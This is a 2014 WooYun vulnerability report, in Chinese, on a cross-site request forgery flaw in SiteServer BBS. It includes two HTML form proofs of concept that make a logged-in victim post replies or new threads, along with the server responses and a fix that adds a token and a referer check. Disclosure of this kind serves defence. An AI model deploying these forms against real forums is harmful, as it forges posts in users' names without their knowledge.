当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072804

漏洞标题:SiteServer_BBS_可CSRF发表主题+回帖

相关厂商:百容千域软件技术开发有限责任公司

漏洞作者: zph

提交时间:2014-08-19 17:09

修复时间:2014-11-14 17:10

公开时间:2014-11-14 17:10

漏洞类型:CSRF

危害等级:中

自评Rank:8

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-19: 细节已通知厂商并且等待厂商处理中
2014-08-24: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-10-18: 细节向核心白帽子及相关领域专家公开
2014-10-28: 细节向普通白帽子公开
2014-11-07: 细节向实习白帽子公开
2014-11-14: 细节向公众公开

简要描述:

SiteServer BBS,让你在不知不觉中发表主题

详细说明:

发表主题和回帖的接口均存在问题

/ajax/form.aspx?publishmentSystemID=1&action=addPost (回帖)
/ajax/form.aspx?publishmentSystemID=1&action=postAllInOne (发表主题)


直接发POC:
1.回帖

<meta http-equiv=Content-Type content="text/html;charset=utf-8">
<form id="addPostForm" action="http://127.0.0.1/ajax/form.aspx?publishmentSystemID=1&action=addPost" method="post">
<input id="forumID" name="forumID" type="hidden" value="2">
<input id="threadID" name="threadID" type="hidden" value="1">
<input id="title" name="title" type="text" value=""><br>
<textarea id="content" name="content"></textarea><br>
<input type="submit" value="提交">
</form>


forumID为板块ID
threadID为主题ID
2.发表主题

<meta http-equiv=Content-Type content="text/html;charset=utf-8">
<form id="contentForm" action="http://127.0.0.1/ajax/form.aspx?publishmentSystemID=1&action=postAllInOne" method="post">
<input id="forumID" name="forumID" type="hidden" value="2">
<input id="title" name="title" type="text" class="txtTitle" value=""><br>
<textarea id="content" name="content" ></textarea><br>
<input type="submit" value="提交">
</form>


forumID为板块ID

漏洞证明:

回帖:

1.png


2.png


{"onlineTotal":"1 \u5206\u949F","userImageUrl":"/sitefiles/bairong/icons/avatars/atavar_middle_38.jpg","creationDate":"2014-08-16","prestige":0,"title":"CSRF TEST!","editUrl":"/post.aspx?forumID=2&threadID=1&postID=1011&postType=","userUrl":"/user.aspx?publishmentSystemID=1&userName=zphchina","errorMessage":"","contribution":0,"floor":"\u6C99\u53D1","signature":"","addDate":"2014-08-17 20:42","content":"CSRF TEST!","groupName":"\u65B0\u624B\u4E0A\u8DEF","success":"true","postID":"1011","credits":16,"url":"","currency":0,"postCount":10,"userName":"zphchina"}


3.png


发帖:

4.png


5.png


{"url":"/thread-2-4.aspx","success":"true","errorMessage":""}


6.png

修复方案:

加token并判断referer

版权声明:转载请注明来源 zph@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-11-14 17:10

厂商回复:

最新状态:

暂无